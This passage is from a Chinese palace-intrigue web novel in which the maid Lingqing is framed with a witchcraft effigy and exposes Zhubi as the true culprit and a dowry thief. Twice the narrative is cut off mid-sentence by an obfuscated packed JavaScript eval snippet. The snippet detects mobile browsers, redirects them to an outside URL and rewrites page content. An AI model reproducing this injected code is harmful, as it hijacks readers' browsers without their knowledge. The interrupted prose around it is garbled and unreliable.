她停下手,一副困惑的样子:“不应该啊………前些日子小厨房里有只鸡不小心掉进了水缸里,当时也是浑身湿透,毛都贴在身上,那时候就是奴婢帮忙捞上来擦干净的,那毛啊,擦的锃亮,一点水也没有———” 她话还没说完,突然停住了,一脸为难:“啊,奴婢不该这么说的。” “什么鸡?你说清楚!”陆皎察觉到不对。 “没什么没什么。”凌青连忙垂下眼,“奴婢就是想起那只鸡湿了毛的样子,但三小姐怎么能和畜生比呢?” 逄楚之再也忍不住了,“噗嗤”一声笑了出来。 陆沁本也想笑,却又怕陆皎生气,弯起来的唇角被迫耷拉了下去。她小心翼翼地看向陆皎。 陆皎看众人的表情,这才明白过来,这丫鬟是在拐弯抹角地说她像落汤鸡!她气得浑身发抖,看看自己确实狼狈的样子,只感觉羞愤的想死。 “你个贱婢,你等着,我不会放过你!”她的声音已经带上了哭腔。 她又转头看了看崔令徽,终于体会到了什么叫难堪,她再也忍不住,捂着脸,快跑了出去。 18. 陷害(一) 陆皎跑远后,屋内的气氛过了许久才恢复。 崔令徽有些感激地看了凌青一眼,转向陆沁:“抱歉,是我处理不得当。” 陆沁连忙摇头:“跟崔公子没关系……你不要放在心上。” 她犹豫了一下,却又轻声道:“只是………崔公子也不要怪罪三妹。她……她只是有些不懂事。” 她尽量打着圆场,让自己看起来不在乎陆皎的所作所为,但眉宇间却是说不出的疲惫。 凌青站在旁边默默看着她的神色,只觉得她似乎内心也已经厌极了陆皎的无理,却又不知道因为什么原因,强逼着自己宽容陆皎。 到底是什么样的原因,能让她一直像朵没脾气的白莲,一次次宽恕自己的妹妹谋命还夺夫? 院内仍然气氛低迷,众人兴致也都不高。凌青静静站着,却忽然看见逄楚之抬起头,眯着眼睛打量着月露榭牌匾上的字。 过了一会儿,他指着那字,状似好奇地问道:“阿姐,有个事我早就想问你了,月露榭的名字是你自己起的吗?” 陆沁一愣,点了点头:“‘露从今夜白,月是故乡明。‘①当初我还小,正巧读了这诗喜欢的不得了,便取月露二字作为院子之名。 “那,月露榭是不是也真的承过月露?” 这话没头没脑,却是一派天真,像孩子问出来的一样。 陆沁被他这么一问,刚才的烦闷暂时搁置,轻声笑道:“倒是承过的。每逢中秋月圆时,这榭中的露水格外清澈,祖母说用来煮茶最是甘甜。” “那倒要等到中秋来讨一杯月露茶了。”逄楚之笑道,“我听说,用月露煮的茶有个说法,说是能让人心想事成。” 凌青内心冷笑,逄大公子家世外貌无一不有,背后依仗着逄家、陆家、崔氏一族。听说他的太后姑母更是疼他,怕是这天下除了皇位,他要什么都是唾手可得。 这种人,就别浪费许愿的限数了,赶紧往后稍稍吧。 “到时候,我一定带着表哥一起来,阿姐可要赏我们两杯茶啊。我也想喝了之后………心想事成。” 他说着,有意无意地瞥了一眼崔令徽和陆沁,那眼神分明是在逗他俩。陆沁明白了他的用意,脸颊微红,心情也不由好了许多。 见陆沁恢复神采,又与崔令徽说上话。逄楚之这才慢悠悠起身,假装闲溜达,溜达着溜达着又到了凌青身边。 “中秋那日,姐姐也来与我们一同过吧。你有没有什么愿望想许?” 唯一的愿望,就是让你滚的远远的。 凌青垂眸整理茶具:“奴婢贱命一条,活着便行,那还敢奢求什么愿望。” 逄楚之“噗嗤”一笑:“真的吗,我可不信姐姐是这样认命的人,你看你刚才治那个陆皎治的,真的很爽啊,那茶水泼得我都想给你鼓掌。” 凌青面无表情:“奴婢只是手滑了。” “好好好~”逄楚之耸了耸肩,“你说手滑就手滑,你今天有功,给我表哥和阿姐解决了麻烦,我今天都听你的,好吧?” 然后,他便不说话了,只是聚精会神地盯着凌青,看她干活。 他的那双桃花眼里仿佛有光在闪动,嘴角还带着浅浅的笑意。他就这么毫不掩饰地看着她,眼神里带着丝毫不遮掩的兴味。 凌青感受到那道炽热的视线,心中有些烦躁。这个人的存在感实在太强,那看似柔和,实则侵略感十足的感觉,让人想忽略都做不到。 她蹙着眉,将茶具都收完。 时间渐晚,夕阳西下时分,月露榭内已经点起了素纱灯。素纱灯的光洒在厅内,周围瞬间多了几分暖意。 崔令徽看了看天色,慢慢地站起身来:“时候不早了,我和楚之也该告辞了。” 陆沁闻言,眼中闪过一丝失落,但她还是强作笑颜,温婉地点点头:“那便……那便送送崔公子。” “不必多礼。”崔令徽的声音更加不舍,“下次……下次我再来拜访。” “好。”陆沁轻声应着,脸颊又泛起了红晕。 两人四目相对,似乎有千言万语想要倾诉,却又碍于在场众人,只能将话咽回腹中。 “我也要走了,姐姐会有点舍不得我吗?” 凌青正望着陆沁和崔令徽的身影,却忽然听到耳边有人低声。 她侧身避开,淡声道:“你觉得呢?” “我觉得你会啊。” “你觉得就你觉得吧。” 正当这一行人准备往外走时,门外却忽然传来一阵听到窸窸窣窣的声音。众人不由停下脚步,紧接着就看到一个小丫鬟在门口探头探脑,神色鬼祟。 临近傍晚,出现个可疑的人在门口不知道干什么,众人脸上都出现了疑色。 “雀儿?”谷翠率先认出来,“你在那偷看什么呢?” “雀儿?”陆沁看见了那个小丫鬟,温声唤道,“怎么了?有什么事吗?” 雀儿是个十四五岁的小丫头,平日里在院子里打个杂扫个地,和凌青住在同一间屋子。此时她脸上带着明显的紧张和惶恐,似乎有什么重要的事要说,却又不敢开口。 “雀儿?”陆沁见她犹豫,便招了招手:“过来。” 谷翠也在一旁道:“雀儿,别扭扭捏捏的,小姐叫你过来。” 雀儿这才怯生生地走了过来,低着头不敢看人,双手紧张地搅着衣角:“二、二小姐,奴婢无意打搅小姐会客,只是想看看客人走了吗,因为有件事……有件事要禀报。” “什么事?你现在说就行。”陆沁以为是这小丫头家里出了什么事,也没多想,直接让她说。 雀儿偷偷瞟了一眼凌青,见后者正静静地站在一旁,便咬了咬唇,鼓起勇气道:“二小姐,奴婢昨夜里……昨夜里看见了一些……一些不该看的东西。” 听到这话,凌青眉头几不可察地扬了扬,但面上依然平静如水。 崔令徽和逄楚之原本已经准备离开,听到这话也停下了脚步,眼神齐齐看向雀儿。 “不该看的东西?”陆沁终于察觉出不对,声音里带了一丝迟疑:“是什么呢?” 雀儿欲言又止,看向逄楚之和崔令徽。 崔令徽察觉到了她的视线,连忙拉着逄楚之要走:“二小姐处理家事,我与楚之不便打扰,告辞。” 逄楚之却没被拉动,他表情仍然笑盈盈的,但凌青却分明从他眼中看到了玩味的神色。 她立马明白了,这人估计又觉得有好戏看了,不舍得走,想留下来看热闹。 “表哥,听起来像是对阿姐不利的事,你不担心吗?”逄楚之眉间凝上了一丝忧虑,似乎很为陆沁着想,“我真的有点担心。” 说完,他又生怕陆沁让他们走,抬起眸子,眸光间全是担忧:“阿姐………算了,我和表哥是外人,留在这里也实在不好,我们这就走了。” 他在“外人”两个字上着重加强语调。 陆沁一看他这个样子,瞬间就有些愧疚:“楚之,你知道的,我把你当亲弟弟一般。” 说完,她便蹙着眉看向丫鬟雀儿,示意对方但说无妨。 雀儿深吸一口气,仿佛下了很大的决心一般。她张口,缓缓道:“二小姐,奴婢和凌青姐姐住在一个屋内,昨夜里,奴婢半夜醒来想要出恭,却看见………” 她说到这里停了下来,眼神有些瑟缩的看向凌青。 “看见什么了?” “奴婢看见凌青姐姐没睡觉,在纱帐里不知在做些什么。起初奴婢以为她在做针线活,也没太在意,可是………”雀儿的声音忽然变得极为惊恐:“可是奴婢仔细一看,竟然发现她手里拿的是个…………桐木偶人!” 此话一出,众人顿时呆住了,周围安静的落针可闻。 崔令徽皱起眉头,逄楚之看不出什么表情,陆沁脸色一白,不敢置信地看向凌青。 凌青依然平静的站在那里,听到雀儿提到她的名字,她也只是微微抬头,做出一副在听的样子。 “你……你说什么?”陆沁的声音有些颤抖。 雀儿见了陆沁的反应,胆子似乎大了一些,继续补充道:“奴婢看的很清楚!那是一个桐木偶人,做的很精细。奴婢吓得不行,连忙躺下不敢动弹,但还是隐隐听见凌青姐姐嘴里小声的嘀咕着………小姐的名字。” 陆沁看向凌青。 “胡说八道。”凌青终于开口了,声音却没有一丝波澜,“我从未做过这样的事,你怕是做梦了吧。” “我没有胡说!”雀儿似乎被凌青的平静激怒了,声音也高了起来:“我听见你不止念了小姐的名字,还在反复念什么符咒,奴婢仔细记了下来,那念的分明是—— ‘天煞归汝,地煞入眸,吾承尔运,尔受吾咒!‘” 她这一板一眼的,说的似乎格外真切,却也点明了这个桐木偶人的恐怖之处。 “以他人之命来转运?”崔令徽皱紧了眉头,一脸审视的看向雀儿:“照你这么说,她用的是换命符咒?” “奴婢不知道什么符咒,只把昨天看的讲出来了。” 巫蛊之术,极其严重,还是涉及到她的换命术。陆沁脸色有些苍白,身子也有些摇摇欲坠。 但她不愿凭一个小丫鬟的一面之辞就怀疑凌青,她已经疑心过一次了,若是这次再冤枉凌青,她的良心这辈子都不会好过。 况且,她不相信凌青会干出这种事。就不说凌青为她尽心尽力调理身体,为她去解决陆皎………这一桩桩,一件件哪怕都不能说明的话…… 那字一定能说明。 她忘不了凌青的字,那样峥嵘不屈的字,一撇一捺都如利剑出鞘,一身傲骨,通通融入墨色。她一直坚信字如其人,这样坚韧磊落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956634|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,怎么可能做出这样的事呢。 “雀儿,空口污蔑他人可是要重惩,还是以巫蛊之名污蔑,你可想要清楚。”陆沁不由声音放冷。 凌青有些意外的看了看陆沁,接着也跟着道:“听见小姐的话了吧,雀儿,你可要为自己的话负责。” “奴婢没有污蔑人!”雀儿看陆沁不信,忽然激动起来,像是受了多大委屈一般:“小姐,您是觉得她平常毕恭毕敬,才不觉得她会这样做。但若奴婢说,她早就私下里对小姐不满了呢?” 这话如一道雷霆一般在耳畔炸开,震的所有人都为之一颤。陆沁,谷翠和陶嬷嬷,脸上皆是不相信。 “她一直自视甚高,觉得自己生的美貌,又能力出众,凭什么只能做个丫鬟。所以她嫉妒二小姐,想出换命术也不稀奇!凌青姐姐,平日里你恭敬沉稳,可我看得出你眼中的不甘!” 这话说的慷慨激昂,众人不由侧目看向凌青。 凌青听了有些想笑,她的确不甘心做个丫鬟,也嫉妒那些天生什么都有的人。 但她可犯不着换命,她的命再不好,再曲折,那也是她凌青自己的命。 她的命只有她自己能担着,旁人的命,她担不起,也不屑担。更何况,她自己就是这天地间独一无二的存在,为什么要去做别人? 凌青淡声:“我与你关系平平,也就平常见个面打个招呼的关系,住在一起的时候连话都没说过几句。你竟然能这般了解我,还能从我眼神里看到不甘,我这辈子都没碰到这么懂我的人,不知道的还以为你喜欢我呢。” “你———”雀儿一听,指着凌青,震惊的不知该说什么。 逄楚之又笑了,在旁拱火:“这位雀儿姑娘可真厉害啊,竟然能从凌青姑娘那呆若木鸡的眼神里看出不甘,厉害厉害。” 凌青瞥了他一眼,继续问雀儿:“你我一向不熟,我不相信你能说出今日这番话。说吧,谁教你说的?” 雀儿脸色一变:“什么……什么意思?” 正在这时,门外又传来急促的脚步声,今日白天告假的渚碧快步走了进来。她一过来就似乎知道发生了什么事,急匆匆问道:“小姐……崔公子,逄公子,这是怎么了?” 雀儿一见渚碧来了,刚才还紧张的神色瞬间恢复如常,仿佛找到了救星一般。她将事情全与渚碧说了一遍。 渚碧假装惊讶地捂着嘴巴:“换命偶人!小姐,奴婢也听说过这个,这是在用小姐的命去换她的运,长此以往,您会越来越虚弱……直到………” 陶嬷嬷一向疼爱陆沁,此时更是听不得这话,打断道:“别说了!” 凌青看着渚碧与雀儿一唱一和,只感叹好一出戏,两个人都演得像模像样,而她的冷静也在此时被衬得越发怪异。 “小姐!”渚碧扑到陆沁跟前,满含热泪:“我早就说凌青心怀鬼胎,我那银针之事也是被她陷害,小姐!” 陆沁面如死灰,身子摇摇欲坠,却不肯说话。 “小姐,难道您到现在还相信凌青吗?奴婢知道您心善,但此事关乎您的性命安危,绝不能马虎啊。” 陆沁脸色越发难看,但还是摇了摇头:“不……不可能,我相信凌青为人,若她想要我的命,那上一次我晕倒,她大可不给我治病。她一次次救我,怎么可能要害我?” “小姐!”渚碧又急又气:“您怎么还这么固执!她那都是虚与委蛇,故意骗您取得您的信任,这样才方便她换命!您赶紧下令,去找找那个桐木偶人就知道真假了!” “我说了,我从未做过,难道要凭雀儿一人之辞,就搜查我吗?”凌青再次开口,眼神犀利地看向雀儿:“雀儿,你说你昨晚看到我做桐木偶人,那我问你,是昨晚几时?我做了多长时间?为什么你明明起夜我却不遮掩,当着你的面念念叨叨,我真的有如此傻?” 雀儿一愣,显然她和渚碧没想到这些问题,她支吾道:“我怎么知道………” “昨天夜里阴云密布,把月光全遮住了。你是如何看清我在做什么,而我又怎么能在那么黑的环境下做偶人?” 渚碧内心咬碎了牙,上次凌青对付那碧桃也是这样,咄咄逼人,让对方根本答不出来。她以为凌青这次听说是巫蛊,一定会慌,没想到她还是这般冷静。 她连忙出来圆场:“凌青!你这样咄咄逼人做什么,雀儿年纪小,记不清细节很正常。重要的不是细节,而是你到底做没做!你不是想证明吗,那直接让我们去搜查一下你房里就知道了。” 凌青抬起眼看着她,那眼神如同利刃乍现寒光,她冷声道:“若是因为她一句话就要搜查,那下次有人污蔑我偷了东西藏在身上,莫不是我还得脱衣服证明?” 话糙理不糙,崔令徽听后有些不自然地扭过头去。逄楚之却眼中闪过点点亮光,不是什么不干净的眼神,竟全是欣赏之意。 19. 陷害(二) 不听分辨 正在此时,门外传来一阵沉缓的脚步声,檀木杖叩在地上,一声一声,直戳进人心里。众人回头一看,只见陆老夫人在几个丫鬟的搀扶下缓缓走了进来,身后还跟着一身素雅装扮的林雪桐。 许久不见,陆老夫人还是那个样子。一头银丝束得一丝不苟,眼皮松垂耷下,薄唇微抿,愈发慑人。 林雪桐似是匆匆装扮后过来的,脸上依旧带着那温柔的笑意,只跟在老夫人身后,微微向崔令徽和逄楚之点了点头。 崔令徽和逄楚之纷纷站起见礼:“见过老夫人,伯母。” 陆老夫人颔了颔首,与他们客套了几句,便皱着眉打量跪在地上的凌青和雀儿,冷声问道:“这是怎么回事,为何都这个表情?” 渚碧见陆老夫人来了,脸上露出一抹笑容,她连忙跪了下来:“老夫人来的正好,小姐都要被人害死了!凌青,就是这个凌青,她用巫蛊之术谋害二小姐!” 巫蛊二字如惊雷炸响,刚过来的下人们齐齐一颤,陆老夫人和林雪桐也都露出惊诧的表情。 过了许久,陆老夫人才出声,她声音依旧平和,眼神却瞬间锐利如刀:“说清楚。” 渚碧看了雀儿一眼,雀儿连忙爬出来大声道:“回老夫人,奴婢亲眼看见茶药间管事凌青,偷偷做了桐木偶人,还贴了换命咒,念叨着要用小姐的命换她的好运!” “什么?”林雪桐脸色越发严肃:“沁儿身边怎么能出这样的事!那沁儿的身子弱,也是被这巫蛊咒的?” 陆老夫人面色沉如水,良久才缓缓开口:“巫蛊之术,朝廷严禁。”她声音不高,却带着令人森然的气势:“我陆府岂容这等污秽之物。” 林雪桐看了看旁边的崔令徽和逄楚之,将身子朝老夫人探去:“母亲说的是,这事若是传扬出去,对我们陆家清誉实在不妥。况且………”她轻叹一声:“崔家姑爷和逄家公子都在这,这种事情被看见,都是我管家不严之罪,我实在是无颜………” 她说着,眼圈都有些红了,一副深深自责的模样。 崔令徽见状,连忙上前一步,拱手道:“夫人言重了!我和楚之本就不该在此时留下,若说有失,也是我们失了分寸。至于今日之事,我等绝不会向外透露半句,夫人请放心。” 林雪桐闻言,语气更加带着歉意:“我们本就是一家人,哪有什么外人分寸之说?只是这种事让两位见了,实在让人惭愧。” 她转头看向下面的凌青,认出了这是那个颇通医术,本来想指给皎儿的丫鬟。她有些惊讶:“是你?我当初看你懂几分医术,让你好好照料二小姐,你却干出这样的丑事。你真是……太让人失望了。” “祖母,母亲,凌青不是这样的人,我的病就是她替我调理的。她真的不是……”陆沁想要为凌青辩解。 陆老夫人向来疼爱这个孙女,此时却难得的没有回应她,只是淡淡看了她一眼:“沁儿,你心善,这是好事。但有时候,过度心善只会让底下的人骑在你的头上。且有些事,不是凭一己之见就能断定的。” 凌青听了这话,心里暗叫不好。自陆老夫人进来起,她心中就隐隐有些不好的预感。她实在没有想到,渚碧为了给她一个致命的,竟然会想法子将陆老夫人和林雪桐请来。 而她们一进来,就似乎默认了她的罪名,竟是没有听她一句解释,就这么认定了。 此时不为自己分辨,恐怕就没机会了。 凌青开口道:“老夫人,奴婢从未———” “够了。”陆老夫人打断她的话,声音依旧冷硬,带着不容置疑的威严:“巫蛊之事,只要出现,就是脏了府里的名声,拉她下去。” “是。”老夫人身边的兰嬷嬷立刻上前,就要抓凌青的胳膊。 凌青心中猛地一震,如遭雷击。 她不可置信地瞪大眼睛,脑中一片空白。什么?为什么?就这样?连让她解释的机会都不给,就要将她拖下去处置? 她听见陆沁在旁边替她求情,但无济于事。 这一瞬间,凌青才真正明白了什么叫做天真。她之前还以为凭着自己的脑子,凭着那些费心筹谋的算计,就能将这群人耍的团团转。却没想到,在这些高门大户眼中,一个丫鬟的性命轻如鸿毛,想杀就杀,根本不需要什么理由。 她的心中第一次涌起一阵强烈的恐惧。不是恐惧那高高在上的人,而是恐惧自己之前的想法。自己还是太草率了,太高估了自己的分量,也太低估了这些人的冷酷无情。她以为一切尽在掌握,却没想到一句话就能让她死无葬身之地。 但是,她不能死!她还没有找到姐姐,她还没有为父亲复仇,她绝不甘心就这样认命! 在翠兰的手即将碰到她胳膊的那一瞬间,凌青迅速冷静下来。她脑中急速转动,忽然大声道:"老夫人!奴婢死不足惜,但若真有人在暗中对二小姐行巫蛊之术,您就这样处置了奴婢,真凶定会在暗中继续诅咒小姐的!” 这话一出,所有人都停住了。 兰嬷嬷的手停在半空,陆老夫人也微微皱眉看向她。 凌青趁机继续:“请您彻查月露榭,只有要将所有巫蛊之物都揪出来,才能确保二小姐的安全。” 她悄悄看了一眼陆沁,陆沁眼眶已经盈满泪水,又是感动,又是急切。 就在这时,逄楚之出声了。 “祖母,陆夫人,我有句话,不知当讲不当讲。” 他的声音本是低沉,但带着少年的清亮,听起来很是悦耳:“凌青姑娘是祖母指过来伺候阿姐的,祖母的眼光定不会差,她来的这段日子也做得很好,阿姐的身体也渐渐好起来了。” 他抬起眼,略带撒娇的看向陆老夫人:“祖母,您从小就疼我,把我当亲孙子似的,我也把您当亲祖母。您就听我这一次,好好搜查搜查,不仅让阿姐无后顾之忧,说不定还能还凌青姑娘一个清白。” 这话说的温柔又真诚,仿佛他真的是一个善良至极的少年。凌青抬起头,与他对上眼神。 陆老夫人本也不是这么草率一人,巫蛊事小,被传出去才是事大。她怕的是这样彻查一番,搜出那偶人,更在逄家人和崔家人面前丢了面子,所以才想草草了事,先把这凌青处置了再说。 但她听了凌青的话,心底也有些犹豫,她真心疼爱陆沁,所以坚决不能允许这院里有任何对陆沁不轨的人。这丫鬟说的没错,若她被冤枉,真正幕后之人还会继续威胁陆沁。 听了凌青的话,又有逄家公子给她递台阶,她神色稍缓:“自然,你从小就跟着沁儿一起叫我祖母,我也知你心善。” 她转向兰嬷嬷:“彻查月露榭,着重查这个凌青待过的地方,务必仔细。” “是,老夫人。”兰嬷嬷应声而去。 众人都待在主厅等着结果,气氛凝重的让人喘不动气。 凌青逃过一劫,但她知道事情没完,接下来虽然已在掌握,但不能再有任何差错了。 她趁此机会,悄悄抬头,观察在场每个人的神色。 陆沁焦急紧张,应当是真的在为她担忧。渚碧和雀儿自然是势在必得,眼神里全是期待。林雪桐仍然那个样子,看不出什么波动。陆老夫人威严中带着不耐。崔令徽有些坐立不安,似乎是觉得自己在此叨扰,但因为担心陆沁不得不继续留下。 而逄楚之……… 他装的一副迷茫单纯,很想知道结果的样子,但凌青一眼就看出,他大概早就看透真相了。 时间慢慢流逝,仿佛越来越漫长。 终于,兰嬷嬷回来了,她的脸上却带着奇怪的表情。 陆老夫人立刻问道:“如何?” 渚碧激动地转过身,满脸期待:“嬷嬷,是不是在凌青那里找到了那个桐木偶人?” 众人都看向兰嬷嬷,等着她口中的结果。 兰嬷嬷左右看了看,似有些为难,最终还是硬着头皮道:“回老夫人,确实......确实是找到了。” 渚碧闻言大喜过望,几乎要掩藏不住那得意的神色:“我就说!我就说她心术不正!老夫人,夫人,小姐,她就是想害死小姐转运,她上次也是这么陷害我的!” 她一边说着,一边趾高气昂看向凌青,仿佛已经看见了凌青被拖出去处死的场面。 可谁知兰嬷嬷接下来的话,却如一道惊雷,劈得众人目瞪口呆。 “只是......这桐木偶人,是在渚碧姑娘那找到的。” 空气仿佛在这一瞬间凝固了。 渚碧脸上的得意笑容瞬间僵住,她瞪大眼睛,不敢置信地望着兰嬷嬷:“什么?你......你说什么?” 兰嬷嬷与渚碧也算是有过交情,但此刻事关重大,她不得不躲开渚碧的目光,如实禀告:“就埋在渚碧屋前的海棠树下,上面的确贴着黄纸符咒,还写着二小姐的生辰八字。” 渚碧彻底懵了,巨大的落差让她一霎那入坠冰窖。 “不可能………”她摇头,眼里已经不知不觉流出眼泪,“绝对不可能!嬷嬷,你是不是搞错了?那东西怎么可能在我那里?” 她说着,猛地转头看向凌青,眼中全是恨意。她尖声大叫,嗓子都破了音:“是你!一定是你陷害我!你又和上次的毒针一样,你又栽赃嫁祸!” 她又如发狂一般转向陆老夫人和陆沁,“砰砰”磕了几个头,哭喊着:“老夫人,小姐,凌青心思歹毒,奴婢是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956635|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她陷害!你们万万不可被她蒙蔽!小姐,小姐,咱们从小一同长大,你自是相信我的,是不是?” 凌青在旁边冷不丁开口:“渚碧,我从来不知道什么换命术,无从用这招陷害你。况且,从头到尾都是你和雀儿在那里一唱一和,我连反驳的机会都没有,若真的是我想害你,为何要这么被动?” 而陆沁已经完全呆住了。先是她欣赏的凌青,后又是她视若亲姐妹的渚碧,这接连的打击让她近乎崩溃。 她微微颤抖,看着渚碧,眼中的泪水已经模糊了视线。这个从母亲去世就陪在她身边的人,这个她当作亲姐妹一般疼爱的人,竟然...... 陆沁的心像被撕成了两半。一半告诉她,要无条件信任渚碧,她是自己为数不多的亲人;另一半却如此清醒,渚碧之前的种种行为,以及她越发逾越的态度,都似乎在提醒她,这事大概就是渚碧做的。 她知道渚碧不是想害她,那个所谓的桐木偶人,只是为了陷害凌青罢了。 只要她想,的确可以将此事揭过去,保下渚碧,可是凌青——难道要因为她的优柔寡断而白白蒙受这个冤屈? 陆沁只觉得胸口像压了块巨石,喘不过气来。她不知道该如何选择,她甚至想此刻晕过去,这样就能逃避选择了。如果保下渚碧,就是对凌青的不公。如果不保渚碧,她又怎么能眼睁睁看着从小的姐妹毁于一旦? 看着渚碧惊慌失措的样子,陆沁心如刀割。纵然心中已有几分明悟,她还是要选择渚碧的命,但她会用自己的一切去弥补凌青。 “祖母,”陆沁的声音颤抖得厉害,她不敢看凌青,“渚碧......渚碧她从小就跟着我,这事或许有什么误会……要不,就此揭过吧。” 陆老夫人看着孙女苍白的脸色,心中也有些不忍。渚碧毕竟是府里的家生子,从小就跟着陆沁,两个人感情有多深,她也是知道的。若要严办,确实有些残忍。 凌青平静地跪在那里,心里没有一丝意外。 陆沁要保渚碧,这太合理了,一个胜似家人的婢女,感情终究是不一样的。她不怨恨陆沁,毕竟陆沁从头到尾都是信任她的,也替她分辨,这就已经仁至义尽了。 只是,她还是会觉得有些不公。 她有嫌疑,连争辩的机会都不能有,就可以直接拖出去打死。而渚碧同样是丫鬟,物证已经确凿,主子们却还是愿意睁一只闭一只眼。 她知道自己是后来者,哪怕尽心尽力做事,从不出一丝差错,也比不上从小在府里长大的渚碧感情深。所以这不公的待遇,似乎都在情理之中。 可惜………她从不考虑情理,只考虑自己。 当这不公损失到了她的利益,那她还偏要理论理论了。想让她忍气吞声,没门。 就在众人以为,此事要这么过去的时候,凌青开口了。 “老夫人,”凌青跪在地上,神色诚恳,“奴婢还有一话,不知当讲不当讲。” 陆老夫人面色深沉,但还是点了点头:“你说。” 凌青缓缓道:“渚碧自从上次被小姐责罚后,心中一直愤愤不平。她觉得都是因为我才让她丢了脸面,所以对我怀恨在心,也恨上了没有偏帮她的二小姐。” “胡说八道!”渚碧声嘶力竭地喊道:“我没有!我怎么可能恨小姐!” “就因为沁儿罚了她,她就用巫蛊之术?似乎有些小题大做。”林雪桐在旁轻声道。 “自然,这件小事不足以让渚碧谋害小姐,可若是………她早就做了叛主的事,怕小姐会发现,所以才想出巫蛊之术让小姐日渐消磨元气,直到………香消玉殒,这样就能彻底掩盖她的罪行。” 此话一出,众人皆是大惊。 “什么叛主?”陆老夫人厉声问道。 林雪桐也不敢置信:“渚碧怎么可能做出叛主的事情?” 凌青深深看了一眼脸色煞白,几乎要晕倒的渚碧,缓缓说道:“老夫人,夫人,据奴婢所知,先夫人去世时,留给了小姐不少嫁妆,而这些,统统都存在库房,由渚碧看管。” 陆老夫人点头:“沁儿生母去世时,我特意交代过,那些东西都要好好保管,等沁儿出嫁时带走。” “可惜………小姐出嫁之时是不能将那些全带走了。” “为何?” “因为………”凌青抬起头,一字一句道:“渚碧监守自盗,已然将嫁妆中的一部分偷偷变卖了。” 话音落下,整个厅堂如遭雷击,鸦雀无声。 渚碧听到这话,如遭五雷轰顶,这个她以为没有人发现的秘密,竟被人当着这么多人的面撕得粉碎!她再也支撑不住,“扑通”一声瘫倒在地,面如死灰。